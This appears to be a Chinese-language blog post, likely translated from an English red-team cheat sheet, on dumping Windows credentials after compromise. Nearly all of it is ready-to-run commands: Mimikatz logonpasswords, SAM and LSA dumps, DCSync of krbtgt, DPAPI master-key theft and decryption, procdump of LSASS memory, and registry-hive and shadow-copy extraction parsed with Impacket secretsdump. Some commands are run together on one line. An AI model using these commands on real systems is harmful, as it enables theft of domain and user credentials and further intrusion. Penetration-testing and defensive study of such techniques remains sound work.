后滲透
VSole2021-10-09 06:35:54
LSASS保護
LSASS 被配置為作為受保護進程 (PPL) 運行,您可以使用 PowerShell 進行查詢。
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
如果是這種情況,您不能只是轉儲或解析 LSASS,您需要使用類似mimidrv.sys,PPLDump等
使用 Mimikatz 轉儲操作系統憑據
# Dump logon passwords sekurlsa::logonpasswords # Dump all domain hashes from a DC ## Note: Everything with /patch is noisy as heck since it writes to LSASS ? lsadump::lsa /patch # Dump only local users lsadump::sam # DCSync (requires 'ldap' SPN) lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com # Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) ? vault::list vault::cred /patch
使用 Mimikatz 濫用數據保護 API (DPAPI)
Mimikatz 有相當多的功能可以訪問 Windows 的 DPAPI,它用于加密許多憑據,例如瀏覽器密碼。
需要注意的是Mimikatz會自動緩存主密鑰,有高速緩存dpapi::cache,但是這確實不是如果沒有Mimikatz會話持續工作(如鈷攻擊或使用時Invoke-Mimikatz)
# Find the IDs of protected secrets for a specific user dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials # Get information, including the used master key ID, from a specific secret (take the path from above) dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 # IF YOU ARE PRIVILEGED # Dump all master keys from the current system sekurlsa::dpapi # IF YOU ARE NOT PRIVILEGED (session as target user required) # Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step) dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4 # Decrypt the secret using the retrieved master key # Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats) dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
LSASS
運行Mimikatz的首選方式是在本地進行,并從目標機上轉儲LSASS內存的副本。Dumpert、Procdump或其他(自定義)工具可用于轉儲LSASS內存。
# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly .\procdump.exe -r -ma lsass.exe lsass.dmp
在我們的攻擊系統上下載內存轉儲文件后,我們可以運行Mimikatz并切換到 "Minidump "模式,以解析該文件,如下所示。在此之后,我們可以像往常一樣運行Mimikatz的憑證檢索命令。
sekurlsa::minidump lsass.dmp
從注冊表中轉儲
我們可以從注冊表中轉儲機密并“離線”解析文件以獲取系統列表。
reg.exe save hklm\sam c:\users\public\downloads\sam.save reg.exe save hklm\system c:\users\public\downloads\system.save reg.exe save hklm\security c:\users\public\downloads\security.save
然后在我們的攻擊箱上,我們可以使用 Impacket 轉儲
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
從卷影副本Volume Shadow中轉儲
我們還可以創建SAM和SYSTEM文件的“卷影副本” (它們始終鎖定在當前系統上)因此我們仍然可以將它們復制到我們的本地系統,為此需要提升提示。
wmic shadowcopy call create Volume='C:\'copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.savecopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save
VSole
網絡安全專家